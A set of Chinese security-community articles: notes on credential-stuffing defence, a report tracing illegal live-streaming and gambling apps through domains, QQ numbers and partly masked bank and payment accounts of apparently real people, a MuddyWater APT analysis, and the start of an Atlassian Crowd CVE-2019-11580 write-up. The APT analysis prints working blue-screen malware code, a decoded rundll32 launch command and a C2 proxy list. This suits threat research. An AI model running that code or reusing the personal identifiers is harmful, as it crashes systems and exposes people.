ip是从互联网之初就一直被使用的一个指标。简单来说就是，对单位时间内的单ip访问的次数进行强限制，如果超过某个数值后，就判定为存在攻击风险并进行拦截。然而，在互联网时代，ip是非常廉价甚至是免费的资源。只需要付出很小的代价，你就可以拥有世界各地的ip进行选择使用。
也有部分防御思路是，对ip进行反向探测等，抓出某些互联网上的免费或者提供服务的ip。但是针对这些思路，黑产攻击者也采用了如某些运营商宽带断线重连重新分配ip的机制来进行绕过。
六、 阿里巴巴的防御体系
基于上述的讨论，我们可以得出结论：现有的普通防御手段已经不足以抵御这些互联网上横行的机器程序。
在这场攻防双方不断螺旋对抗的游戏中，需要新的对抗思路，这也是阿里巴巴数据风控团队长久以来一直在努力的方向：成为机器的墙。
简单的叙述我们的一些关键技术点：
· 先进的设备指纹技术，让攻击程序无所遁形。
· 先进的风险ip监测技术，通过反向探测、实时计算等方法得到当前ip的风险值
· 强大的前端加解密对抗技术，让攻击者在伪造请求的同时直面无法破解的盾牌。
· 周期性的自更新技术，攻击者一时的破解无法长时间适用，每次破解必须从头开始，大大增加攻击者的攻击成本
· 基于大数据计算的实时风险引擎，基于设备、ip、行为等进行综合评分
这些相关技术都已经在阿里系相关的平台上经历了多年的考验，每天都在线上实时的为保护客户数据做着努力。
七、 阿里聚安全数据风控产品
撞库、刷库作为一个现在，并且在可预见的将来也将一直是互联网的一个急需解决的问题。面对这些不断增加的自动化机器人、层出不穷的攻击者以及越来越低门槛的攻击技术，客户们需要的是充分平衡了体验和安全性的安全产品。
阿里巴巴数据风控团队，基于多年的防控经验、大数据等前沿分析方法，推出了一系列的数据风控产品，可以有效解决垃圾注册、刷库撞库、活动作弊、论坛灌水等严重威胁互联网业务安全的风险，并在保障安全性的同时，兼顾正常用户的使用体验。
更多产品信息，请移步阿里聚安全官网：<http://jaq.alibaba.com/riskcontrol>
作者：目明@阿里安全，更多安全类文章，请访问阿里聚安全博客 | 社区文章 |
# 视频直播类黑色产业链专项分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
导读：2019年9月16日，网络安全宣传周在天津开幕，本次宣传周以”网络安全为人民，网络安全靠人民”为主题。当前，我国网络空间安全问题异常严峻，个人隐私保护，网络诈骗，网络钓鱼，网络漏洞，恶意代码等问题突出，无时无刻不对人们的正常生产生活造成巨大威胁。网络安全具有”水桶效应”，从物理设备安全、行为安全、数据安全再到内容安全，每一个环节都是网络空间安全不可或缺的一部分。
随着近年来移动互联网的发展，产生了一大批内容平台，但因内容不合规，屡屡传出被下架、被关停的消息，由此可见，网络内容安全问题不容忽视，特别是以非法内容形成的黑色产业链应成为重点打击对象。
## 一、总体概述
### 1.1基本概述
视频直播类黑产是指打着视频平台、直播平台的旗号，从事传播色情内容、传播恶意应用等非法内容并以此获利的黑色产业链。这些黑色产业链条有成熟的运行机制，它们通过涉黄直播、淫秽视频、黄色小说、赌博游戏等内容来吸引用户，通过广告、用户充值消费、诱导用户赌博等手段来获取收益。为了获取更大利益，有些平台使用录制的直播视频替代真正的主播以降低成本，有些赌博游戏的开奖结果则被牢牢控制。不仅如此，通过这些非法平台，也催生出了大量的网络招嫖、网络赌博、网络诈骗等犯罪行为。
图1-1-1直播间在线赌博
图1-1-2网络招嫖信息
### 1.2程序运行原理
通过对该类样本进行分析可知，该类样本主要由防止被封禁、获利、分享推广获取新用户三部分组成，其主要工作原理如图1-2-1所示。
图1-2-1程序工作原理图
## 二、技术手段
### 2.1代码保护
部分程序为了防止被反编译，采用了知名第三方产商的加固系统进行代码加固保护。
图2-1-1程序代码加固保护示例1
图2-1-2程序代码加固保护示例2
### 2.2不断更新应用
程序为了防止被封禁，不断更新升级。
图2-2-1程序频繁更新
### 2.3频繁更换域名（大量备用域名）
程序为了防止被封禁，准备了大量的域名。
图2-3-1程序更换备用域名
### 2.4CDN缓存加速
程序通过DNS解析，选择与用户连接条件最好的IP地址提供服务。
图2-4-1 解析域名
### 2.5后台操控赌博
部分程序中存在在线赌博内容，以“腾讯分分彩”游戏为例，该赌博游戏声称以QQ实时在线人数的末尾数为开奖结果，用户猜中可以获取到对应赔率的奖励。
图2-5-1在线赌博游戏
通过代码分析可知，程序获取的开奖结果，并非来自QQ实时在线人数，而是由程序服务器下发，结果完全由服务器控制。
图2-5-2程序访问服务器获取开奖结果代码
图2-5-3程序解析服务器下发内容示例
## 三、黑色产业链分析
因为色情产业的暴利性质，催生了成熟的产业链，产业链各环节流程如图3-1所示。
图3-1黑色产业链流程图
### 3.1应用制作
该类程序为了降低开发成本，程序往往采用第三方或开源的直播框架、国外的在线客服系统（或使用QQ客服、邮箱客服等）、第四方支付系统、提前搭建好的服务器组成。服务器大多架设在国外或者香港地区。
图3-1-1直播框架分布图
图3-1-2服务器站点地域分布图
### 3.2推广传播
该类程序往往通过小型应用商店、网盘、网页、论坛等方式获取首批用户，然后通过分享推广返利或招募代理的方式，吸引用户进行推广，企图实现裂变。
图3-2-1应用推广传播
### 3.3主播招募
直播主播一般有“家族”和个人两种类型。其中一个“家族”往往拥有多名主播，在多个平台开设直播，有管理员统一进行管理并从主播的收入中分成，个人主播需要单独通过客服进行实名认证。
图3-3-1主播加入
### 3.4获利方式
3.4.1广告获利
投放广告是该类程序重要的获利途径之一，黑产团队往往有专门的广告客服进行接洽，广告形式主要是诱导用户点击，然后跳转至广告应用下载站点。
图3-4-1从服务器获取的广告位配置
广告内容五花八门，主要是一些非法的棋牌赌博APP、色情内容APP、彩票APP、VPNAPP等类型的应用推广广告。
图3-4-2投放的广告类型
3.4.2付费内容获利
除了普通的直播外，很多程序还提供了付费的直播形式，包括按观看时长收费、入场收费等多种形式。
图3-4-3付费直播
3.4.3直播打赏分成获利
在直播间内，主播会诱导观众进行打赏，当用户打赏到一定额度时，主播可以开启1对1的直播间或听从用户指示等福利。
图3-4-4直播间打赏
3.4.4充值VIP会员获利
程序对普通用户可以观看的视频等内容进行了限制，将一些更具诱惑的视频设置为VIP专属，诱导用户充值VIP。
图3-4-5诱导充值VIP
3.4.5购买虚拟道具获利
程序还提供了各种道具，这些道具大多没有实际用途，在程序中相当于一种身份象征。
图3-4-6购买虚拟道具
3.4.6诱骗用户赌博获利
程序提供了在线赌博功能，提供多种类型的赌博形式，用户可以进行充值押注，但往往程序可以控制开牌结果。
图3-4-7在线赌博
## 四、溯源追踪
### 4.1应用下载地址溯源
过滤出的部分应用下载地址域名信息如下：
表 4-1 下载地址域名信息
应用分发
地址
| 域名
联系人
| 域名联系邮箱 | IP地址 | 物理地址
---|---|---|---|---
i**2.cn | 路** | ch**oubei***[email protected] | 47.**.106.54 | 香港
n**a.cn | 何** | [email protected] | 103.121.94.243 | 香港
sh
***u.cn
| 杨** | dom***[email protected] | 101.**.133.124 | 上海
4.1.1 i**2.cn
通过whois域名查询，可知该域名的联系人为路**，联系邮箱为ch**oubei***[email protected]，该邮箱的拼音意为“出售备案域名”。
图4-1-1 i**2.cn域名查询
通过反查联系人和联系邮箱，分别可以查到17个和13315个域名，可以大致推断该域名目前属于第三方域名商。
4.1.2 n**a.cn
通过whois域名查询，可知该域名的联系人为何**，联系邮箱为94***[email protected]。
图4-1-2 n**a.cn域名查询
联系邮箱对应的QQ号信息如下：
图4-1-3 QQ号信息
通过联系人反查和联系邮箱反查，分别可以查询到11个和12个域名，其中通过联系邮箱反查获取到域名如下：
图4-1-4 whios反查
可以看到其中有一个注册者为深圳市**科技有限公司，该公司的法定代表人为何**，该公司的基本信息如下图所示：
图4-1-5 注册公司信息
通过查询找到了该公司的联系邮箱为26***[email protected]，电话号码为153***26439，QQ号和手机号均未能找到有效信息，该公司没有官网，注册地址为深圳市南山区蛇口工业***大厦*楼*05。
该域名当前为备案状态，备案号为赣ICP备17016885号，备案信息如下：
图4-1-6 域名备案信息
4.1.3 sh***u.cn
通过whois查询可知该域名的联系人为杨**，联系邮箱为dom***[email protected]。
图4-1-7 sh***u.cn域名查询
通过联系人和联系邮箱可以分别反查到4256个和4245个域名，可以推测该域名目前应该属于第三方域名商。
### 4.2提供服务域名溯源
过滤出的部分服务器域名：
表4-2 服务器域名
服务器地址 | 域名 联系人 | 域名联系邮箱 | IP地址 | 物理地址
---|---|---|---|---
xz**2.cn | 刘* | 157***[email protected] | 47.**.4.230 | 日本
y**ue.cn | 常* | [email protected] | 61.***.215.227 | 湖北襄阳
xmj***hu.cn | 陈** | 626***[email protected] | 116.***.118.87 | 湖北荆州
nv**p.cn | 贵州**劳务有限公司 | 1144***[email protected] |
[60.***.59.188](http://ip.tool.chinaz.com/?ip=60.174.59.188)等 | 安徽池州
sy**uw.cn | 胡** | bei***[email protected] |
[116.***.184.212](http://ip.tool.chinaz.com/?ip=116.211.184.212) | 湖北恩施
fux***ua.cn | 白水县**服装设计工作室 | 33***[email protected] | 122.***.4.221等 | 浙江温州
t**8n.cn | 刘** | 34***[email protected] | 104.***.80.102 | 美国
4.2.1 x**z2.cn
通过whois查询可知，域名的注册人为刘*，联系邮箱为1571****[email protected]，可以推测邮箱的前缀1571****256为一个手机号。
图4-1-8 x**z2.cn域名信息
使用邮箱前缀的手机号进行搜索，可以查找到改手机号绑定的支付宝账户，但是并未实名认证。
图4-1-9 支付宝账户
分别通过联系人和联系邮箱进行whois反查，可以分别查询到1643个和13个注册域名，在反查到的域名中，可以关联到大量的联系邮箱，以27***[email protected]为例，找到了邮箱对应的QQ号信息。
图4-1-10 邮箱信息
通过查看QQ空间可知，“刘*”应该是灰产从业人员，其储备了大量微博账号、互动号、聚美优品号等账号用于出售，推测其储备的大量域名也被用于出售。
4.2.2 y***ue.cn
通过whois域名查询，可知该域名的联系人为常*，联系邮箱为mobile_23ffa****[email protected]，根据联系人和联系邮箱，未反查到其他信息。
图4-1-11 y***ue.cn域名信息
访问该域名，发现该域名已经被标记为恶意网站，通过查询该域名的备案信息，可以获取到该网站的其他几个域名，域名信息如下：
图4-1-12 域名备案信息
这几个域名中大部分都不可访问，其中yw**ui.cn可以访问，是一款名为“趣聊”的APP服务器，该应用未见其他恶意行为，其下载地址为http://y**ou.cn/趣聊.apk。
图4-1-13 “趣料”app
4.2.3 xmj***hu.cn
通过查询备案信息，可知该网站主办单位为杭州**信息技术有限公司，负责人为周**，也是该公司的实际控制人，目前该公司已于2019年7月30日注销。
图4-2-1 xmj***hu.cn域名备案
通过whois查询该域名的信息，可知其目前注册人为陈**，邮箱为62***[email protected]，注册时间为2019年8月8日。
图4-2-2 whios反查
通过联系人反查和联系邮箱反查，我们可以查询到该注册人和注册邮箱被分别用于注册了379个和953个域名，其中联系人主要为陈**和陈**。根据该QQ邮箱，可以找到该QQ号码的信息。
图4-2-3 QQ号信息
该QQ号码的空间因为被多名用户举报，已无法查看，但该QQ提供了另一个QQ号码82***060，该QQ号码是域名交易平台“**网”的业务QQ。基于以上推断，域名xmj***hu.cn很可能实际控制者为“**网”，即广州**在线网络科技有限公司，为第三方域名商。
图4-2-4 QQ号信息
4.2.4 n**3p.cn
通过whois查询域名信息可知，该域名的联系人为贵州**劳务有限公司，联系邮箱为114****[email protected]。
图4-2-5 n***3p.cn域名信息
通过QQ账号可知，该域名也被域名商掌握，其网站为a**i.com.cn,电话为1558***4772。
图4-2-6 QQ关联
通过whois反查联系人和联系邮箱，可以分别查询到144个和264个域名，其中不乏有大量的已备案的域名。
4.2.5 s***uw.cn
通过whois查询域名可知域名联系人为胡**，联系邮箱为bei****[email protected]。
图4-2-7 s***uw.cn域名信息
通过whois反查联系人和联系邮箱，可以分别查询到14个和3个域名，查询到的部分域名联系邮箱为44****[email protected],QQ信息如下：
图4-2-8 QQ信息
4.2.6 fux***ua.cn
通过whois域名查询到该域名的联系人为白水县**服装设计工作室，联系邮箱为33***[email protected]。
图4-2-9 fux***ua.cn域名信息
通过QQ空间的信息可以推测该QQ应该为直播平台的客服QQ，处理结算等事宜。
图4-2-10 QQ关联信息
4.2.7 ta**n.cn
通过whois域名查询，查到该域名的联系人为刘**，联系邮箱为3454***[email protected]。
图4-2-11 ta**n.cn域名信息
查询到的QQ账号信息为：
图4-2-12 QQ账号信息
### 4.3支付信息溯源
获取到的部分收款账户信息：
表4-3 收款账户信息
账户类别 | 收款账户
---|---
支付宝1 | 黄**（**福）
支付宝2 | 菲*（*红虎）
支付宝3 | 陈**
支付宝4 | **百货超市
支付宝5 | **物业
支付宝6 | 义乌市**网络科技有限公司
支付宝7 | **购智慧生活
支付宝8 | 剑英卡2（*剑英）
支付宝9 | 重庆**资科技集团有限公司
支付宝10 | 广州**科技有限公司
微信号1 | 蓝精灵
微信号2 | 陈**~太平洋保险1824**39584（**玲）
微信号3 | 幸子（*幸）
微信号4 | l**b11111/lxzb321/2592509752
微信号5 | la***110/电话（852-91433199）
银行卡1 | 任*（中国银行：621785050003084****）
银行卡2 | 梁**（中国交通银行卡：
622262072000928****
）
### 4.4其他信息溯源
过滤出的部分联系信息：
表4-3 QQ客服信息
QQ客服1 | 243***3071
---|---
QQ客服2 | 27***31181
QQ客服3 | 191***5146
QQ客服4 | 广告对接（1961***539）
QQ客服5 | 主播认证（1335***105）
QQ客服6 | 渠道推广（106****916）
QQ客服7 | 家族入驻（1962***215）
QQ客服8 | 分享提现（17***322）
QQ客服9 | 充值查询（1165***901）
QQ客服10 | 1063***966
QQ客服11 | 12***9944
QQ客服12 | 人工充值（3065***677）
QQ客服13 | 拉新奖励（203****980）
邮箱客服1 | av***[email protected]
邮箱客服2 | xian***[email protected]
邮箱客服3 | a***[email protected]
TG群组 | lu***ir567
## 五、总结
非法直播类和视频类应用利用了人们易于被即时满足所吸引的特点，借助色情、赌博、彩票等能够给人带来一时快感的内容推波助澜，使用户在非理性的状态下即进行充值消费，从而牟取暴利。网络诱惑无处不在、五花八门，只有大家携手同行、抵制诱惑，才能创造出和谐向上、风朗气清的网络空间。
## 六、防范及处置建议
（1）封禁应用分发域名；
（2）封禁恶意传播的内容；
（3）封禁非法内容站点；
（4）深挖移动支付收款账号信息，往往背后还伴随着大规模的洗钱行为；
（5）普通用户应该提高网络安全意识，看清楚这些应用的真面目，主动防范。 | 社区文章 |
# 针对APT攻击组织MuddyWater新样本的分析
|
##### 译文声明
本文是翻译文章，文章来源：https://sec0wn.blogspot.ae/
原文地址：<https://sec0wn.blogspot.ae/2018/05/clearing-muddywater-analysis-of-new.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
自从我上次对MuddyWater（该样本也被FireEye命名为Temp.Zagros，相关链接：
<https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html> ）进行分析（
<https://sec0wn.blogspot.ae/2018/03/a-quick-dip-into-muddywaters-recent.html>
）以来，已经过去了两个多月。我本以为这一组织会休息一段时间，但事实证明我的想法是错误的。在本周，我发现了一些该组织发布的新型样本。尽管这些新样本与此前的样本存在诸多相似之处，但仍然有许多新增的特性，并且在新样本中他们进行了混淆。该组织仍然将重点放在了分层混淆（Layered
Obfuscation）和PowerShell上面。本文将主要分析该组织发布的新样本，并与此前的样本进行对比。
下面是该组织近期使用的一些诱饵文档的截图，这些文档的哈希值附在了文末。
我们可以从上述截图中看到，该组织仍然将攻击的目标对准了中东地区国家（土耳其和伊拉克）以及巴基斯坦。正如我在此前的分析文章中（
<https://sec0wn.blogspot.ae/2017/11/continued-activity-targeting-middle.html>
）所指出，这些诱饵文档重点针对一些特定的组织和行业。
根据发布日期，这些诱饵文档是从2月中旬到5月6日的最新样本，我也将持续关注。该样本名称为“mofa.gov.iq.doc”，其MD5为94625dd8151814dd6186735a6a6a87b2a4c71c04b8402caf314fb6f98434eaad，其中的“MOFA”是外交部（Ministry
of Foreign Affairs）的缩写。
## 从宏到Powerstats后门：对样本的详细分析
在这里，我将对样本进行详细分析。我们重点对恶意组织所使用的混淆模型，以及Powerstats后门中的新增特性进行分析。
该文档包含一个带有多个Base64编码内容的宏代码，如下所示：
其中，第一个Base64编码的变量，解码后实际是另一个编码数据块，如下所示。我们将在后面详细分析。
第二个Base64编码后的变量，解码后得到“c:windowssystem32rundll32.exe
advpack.dll,LaunchINFSection C:ProgramDataEventManager.logs,Defender,1,”。
第三个Base64编码后的变量，解码后得到包含混淆Java脚本的编码后XML文件，如下所示：
我们对嵌入在XML文件中的JavaScript进行解码，得到如下结果：
解码后的脚本实际上是一个PowerShell脚本，该脚本对名为“C:ProgramDataWindowsDefenderService.ini
”的文件执行进一步的解码例程。
该文件的内容实际上来自第一个Base64块的编码数据。在解码后，我们发现该内容非常熟悉，是Powerstats后门的变体。
首先，解码数据块后，我们得到了编码后的PowerShell，如下所示：
请注意，这里使用的iex是Invoke-Expression的变体。为了得到这里的输出结果，我们用Write-Output替换iex，得到以下内容：
尽管上述内容看起来比较乱，但内容有些眼熟，应该是使用了字符替换函数进行字符替换。在上图中，我们可以看到“&((vaRIABle ‘ _MDR_
‘).NAME[3,11,2]-jOiN’’)”，这实际上是Invoke-Expression混淆后的结果。这样一来，我们依然可以用Write-Output来替换它，得到如下结果：
同样地，我们再次注意到其中有一个“( $enV:ComSpEc[4,24,25]-jOiN’’)”，这是iex。这也就意味着，我们可以继续用Write-Output对其进行替换。
实际上，这是多层混淆，我们可以一直采用此方法进行替换，最终获得我们能看懂的解码后脚本。在该脚本中，包含了代理URL和IP标识，如下所示：
当然，这只是大量编码后的PowerShell脚本中的第一部分，第二部分和第三部分是该后门的实际功能。
## 新样本的变化
在上一篇博客中，我分析的大部分功能仍然存在于新变体之中。除此之外，在新样本中还有一些新增的功能，也对一些功能做了修改：
1、屏幕截图功能的代码被重新编写，但仍然保持了原有的功能。新变体会截取被感染用户的屏幕截图，将其保存为PNG格式，并转换为字节，使用Base64对其进行编码，然后上传至C&C服务器。
2、在新样本中，我发现在特定过程中，包含了可以导致蓝屏死机（BSOD）的代码。这部分使用了反调试和反分析技术。
在上图的最下面，我们高亮标出了“GDKZVLJXGAPYNUGCPJNPGZQPOLPPBG”函数，该函数的代码如下：
function GDKZVLJXGAPYNUGCPJNPGZQPOLPPBG(){
$s = @"
using System;
using System.Runtime.InteropServices;
public static class C{
[DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);
[DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
public static unsafe void Kill(){
Boolean tmp1;
uint tmp2;
RtlAdjustPrivilege(19, true, false, out tmp1);
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out tmp2);
}
}
"@
$c = new-object -typename system.CodeDom.Compiler.CompilerParameters
$c.CompilerOptions = '/unsafe'
$a = Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c
[C]::Kill()
}
这是在一个月前，由Barrett Adams ([@peewpw](https://github.com/peewpw "@peewpw"),
<https://twitter.com/peewpw> )编写的导致BSOD的代码，该代码可以从他的GitHub页面上找到（
<https://github.com/peewpw/Invoke-BSOD/blob/master/Invoke-BSOD.ps1>
）。有一点需要注意，这段代码无需管理员权限执行，即可导致BSOD。
如果在受感染系统上存在cmd.exe或PowerShell.exe或Powershell_ISE.exe进程，也会执行相同的函数和代码。
3、此外，还有一个功能，是在ProgramData文件夹中查找是否存在字符串“Kasper”、“Panda”和“ESET”。如果存在，将会中断屏幕截图功能和上传功能。
## 总结
该恶意组织似乎持续活动，并且针对不同的国家发动攻击。在他们此次发动的攻击中，具有如下特点：
1、在Powerstats变体的基础上，使用了Base64 —> XML中的混淆JS —>
PowerShell字符，为主要后门代码增加了一层额外的模糊处理。
2、更新了部分Powerstats代码，增加了BSOD功能，从而对抗分析与调试过程。
3、只依靠DDEInitiate进行横向移动，该组织似乎已经放弃了之前样本中使用过的另外两种方法。
## IoC
### 哈希值
94625dd8151814dd6186735a6a6a87b2a4c71c04b8402caf314fb6f98434eaad
5c7d16bd89ef37fe02cac1851e7214a01636ee4061a80bfdbde3a2d199721a79
76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338
707d2128a0c326626adef0d3a4cab78562abd82c2bd8ede8cc82f86c01f1e024
b7b8faac19a58548b28506415f9ece479055e9af0557911ca8bbaa82b483ffb8
18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd
### 代理列表
hxxp://alessandrofoglino[.]com//wp-config-ini.php
hxxps://www.theharith[.]com/wp-includes/wp-config-ini.php
hxxp://www.easy-home-sales[.]co.za//wp-config-ini.php
hxxps://amishcountryfurnishings[.]com/awstats/wp-config-ini.php
hxxp://chinamall[.]co.za//wp-config-ini.php
hxxp://themotoringcalendar[.]co.za//wp-config-ini.php
hxxp://bluehawkbeats[.]com//wp-config-ini.php
hxxp://www.gilforsenate[.]com//wp-config-ini.php
hxxp://answerstoprayer[.]org//wp-config-ini.php
hxxp://mgamule[.]co.za/oldweb/wp-config-ini.php
hxxp://chrisdejager-attorneys[.]co.za//wp-config-ini.php
hxxp://finalnewstv[.]com//wp-config-ini.php
hxxps://www.brand-stories.gr//wp-config-ini.php
hxxp://www.duotonedigital[.]co.za//wp-config-ini.php
hxxp://www.britishasia-equip[.]co.uk//wp-config-ini.php
hxxp://www.tanati[.]co.za//wp-config-ini.php
hxxp://emware[.]co.za//wp-config-ini.php
hxxp://breastfeedingbra[.]co.za//wp-config-ini.php
hxxp://www.androidwikihow[.]com//wp-config-ini.php
hxxp://cashforyousa[.]co.za//wp-config-ini.php
hxxp://hesterwebber[.]co.za//wp-config-ini.php
hxxp://bramloosveld.be/trainer/wp-config-ini.php
hxxp://fickstarelectrical[.]co.za//wp-config-ini.php
hxxp://buchnation[.]com//wp-config-ini.php
hxxp://hostingvalley[.]co.uk/downloads/wp-config-ini.php
hxxp://bluefor[.]com/magento/wp-config-ini.php
hxxp://foryou.guru/css/wp-config-ini.php
hxxp://www.daleth[.]co.za//wp-config-ini.php
hxxps://www.buyandenjoy.pk//wp-config-ini.php
hxxps://annodle[.]com/wp-includes/wp-config-ini.php
hxxp://goldeninstitute[.]co.za/contents/wp-config-ini.php
hxxp://advss[.]co.za/images/wp-config-ini.php
hxxp://ednpk[.]com//wp-config-ini.php
hxxp://proeventsports[.]co.za/wp-admin/wp-config-ini.php
hxxp://glenbridge[.]co.za//wp-config-ini.php
hxxp://berped[.]co.za//wp-config-ini.php
hxxp://best-digital-slr-cameras[.]com//wp-config-ini.php
hxxps://kamas.pk//wp-config-ini.php
hxxps://bekkersweldingservice.nl//wp-config-ini.php
hxxp://bogdanandreescu.fit//wp-config-ini.php
hxxp://www.bashancorp[.]co.za//wp-config-ini.php
hxxps://www.bmcars.nl/wp-admin/wp-config-ini.php
hxxp://visionclinic[.]co.ls/visionclinic/wp-config-ini.php
hxxps://www.antojoentucocina[.]com//wp-config-ini.php
hxxp://www.ihlosiqs-pm[.]co.za//wp-config-ini.php
hxxp://capitalradiopetition[.]co.za//wp-config-ini.php
hxxp://www.generictoners[.]co.za//wp-config-ini.php
hxxp://almaqsd[.]com/wp-includes/wp-config-ini.php
hxxp://www.alessioborzuola[.]com/downloads/wp-config-ini.php
hxxp://briskid[.]com//wp-config-ini.php
hxxp://bios-chip[.]co.za//wp-config-ini.php
hxxp://www.crissamconsulting[.]co.za//wp-config-ini.php
hxxp://capriflower[.]co.za//wp-config-ini.php
hxxp://www.dingaanassociates[.]co.za//wp-config-ini.php
hxxp://batistadopovosjc[.]org.br//wp-config-ini.php
hxxp://indiba-africa[.]co.za//wp-config-ini.php
hxxp://apollonweb[.]com//wp-config-ini.php
hxxps://www.amighini.it/webservice/wp-config-ini.php
hxxp://blackrabbitthailand[.]com//wp-config-ini.php
hxxp://batthiqbal[.]com/sagenda/webroot/wp-config-ini.php
hxxp://clandecor[.]co.za/rvsUtf8Backup/wp-config-ini.php
hxxp://bakron[.]co.za//wp-config-ini.php
hxxp://gsnconsulting[.]co.za//wp-config-ini.php
hxxp://vumavaluations[.]co.za//wp-config-ini.php
hxxp://heritagetravelmw[.]com//wp-config-ini.php
hxxp://www.moboradar[.]com/wp-includes/wp-config-ini.php
hxxps://news9pakistan[.]com/wp-includes/wp-config-ini.php
hxxp://havilahglo[.]co.za/wpscripts/wp-config-ini.php
hxxp://binaries.site/wink/wp-config-ini.php
hxxp://www.bestdecorativemirrors[.]com/More-Mirrors/wp-config-ini.php
hxxp://clouditzone[.]com/revolution/assets/wp-config-ini.php
hxxp://delectronics[.]com.pk//wp-config-ini.php
hxxps://boudua[.]com//wp-config-ini.php
hxxp://baynetins[.]com//wp-config-ini.php
hxxp://insafradio.pk/pos/wp-config-ini.php
hxxp://www.harmonyguesthouse[.]co.za//wp-config-ini.php
hxxp://fsproperties[.]co.za/engine1/wp-config-ini.php
hxxp://desirablehair[.]co.za//wp-config-ini.php
hxxp://comsip[.]org.mw//wp-config-ini.php
hxxp://www.wbdrivingschool[.]com//wp-config-ini.php
hxxp://jdcorporate[.]co.za/catalog/wp-config-ini.php
hxxp://bradleysherrer[.]com/wp/wp-config-ini.php
hxxp://debnoch[.]com/image/wp-config-ini.php
hxxp://adsbook[.]co.za//wp-config-ini.php
hxxp://host4unix.net/host24new/wp-config-ini.php
hxxp://jvpsfunerals[.]co.za//wp-config-ini.php
hxxp://immaculatepainters[.]co.za//wp-config-ini.php
hxxp://tcpbereka[.]co.za/js/wp-config-ini.php
hxxp://investaholdings[.]co.za/htc/wp-config-ini.php
hxxp://tuules[.]com//wp-config-ini.php
hxxp://findinfo-more[.]com//wp-config-ini.php
hxxp://bmorecleaning[.]com//wp-config-ini.php
hxxp://www.goolineb2b[.]com//wp-config-ini.php
hxxp://www.triconfabrication[.]com/wp-includes/wp-config-ini.php
hxxp://irshadfoundation[.]co.za//wp-config-ini.php
hxxp://www.blattoamsterdam[.]com//wp-config-ini.php
hxxp://ladiescircle[.]co.za//wp-config-ini.php
hxxp://domesticguardians[.]co.za/Banner/wp-config-ini.php
hxxp://jhphotoedits[.]co.za//wp-config-ini.php
hxxp://iqra[.]co.za/pub/wp-config-ini.php
hxxps://bestbedra | 社区文章 |
# 简介
最近，我在挖洞的过程中，遇到了一个[Atlassian Crowd](https://www.atlassian.com/software/crowd
"Atlassian Crowd")应用程序。Crowd是一个集中式身份管理应用程序，允许企业“从多个目录(Active
Directory、LDAP、OpenLDAP或Microsoft Azure AD)管理用户，并在一个位置控制应用身份验证权限。
我发现目标系统中安装了旧版本的Crowd，于是我Google了一下，看看里面是否存在漏洞，Google给了我这样一条[答案](https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html
"答案")：“pdkinstall开发插件错误启用（CVE-2019-11580）”
Atlassian的描述：
Crowd和Crowd数据中心在发布版本中错误地启用了pdkinstall开发插件。可以向Crowd或Crowd数据中心实例发送未经身份验证或经过身份验证的请求的攻击者可以利用此漏洞安装任意插件，因此，攻击者可以在运行易受攻击版本的Crowd或Crowd数据中心的系统上执行远程代码。
苦心搜索一番，并没有发现任何PoC，因此我决定亲力亲为。
# 分析
我克隆了插件的源代码，源代码可以在[这里](https://bitbucket.org/atlassian/pdkinstall-plugin
"这里")找到。
root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.
我们可以在 `./main/resources/atlassian-plugin.xml`找到`plugin
descriptor`文件。每个插件都需要一个plugin descriptor文件，它只包含“为主机应用程序描述插件和其中包含的模块”的XML-Atlassian。
让我们仔细分析一下
<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
<version>${project.version}</version>
<vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
<url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
location="before-decoration">
<url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>
<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>
我们可以看到Java
servlet类com.atlassian.pdkinstall.PdkInstallFilter是通过访问/admin/uploadplugin.action调用的。由于我们知道该漏洞是通过任意插件安装的RCE，显然我们的分析必须从查看[PdkInstallFilter
servlet](https://bitbucket.org/atlassian/pdkinstall-plugin/src/master/src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java
"PdkInstallFilter servlet")的源代码开始。
将pdkinstall-plugin导入IntelliJ，然后开始分析源码。从doFilter()方法入手。
如果请求方法不是POST，代码就会退出并响应错误
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post"))
{
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
return;
}
接下来，代码确定请求是否包含多部分内容。多部分内容释义：包含一个或多个组合的不同数据集的单个主体。
如果它包含多部分内容，它将调用extractJar()方法来提取请求中发送的JAR，否则它将调用buildJarFromFiles()方法并尝试从请求中的数据构建plugin
jar 文件。
// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
tmp = extractJar(req, res, tmp);
}
else
{
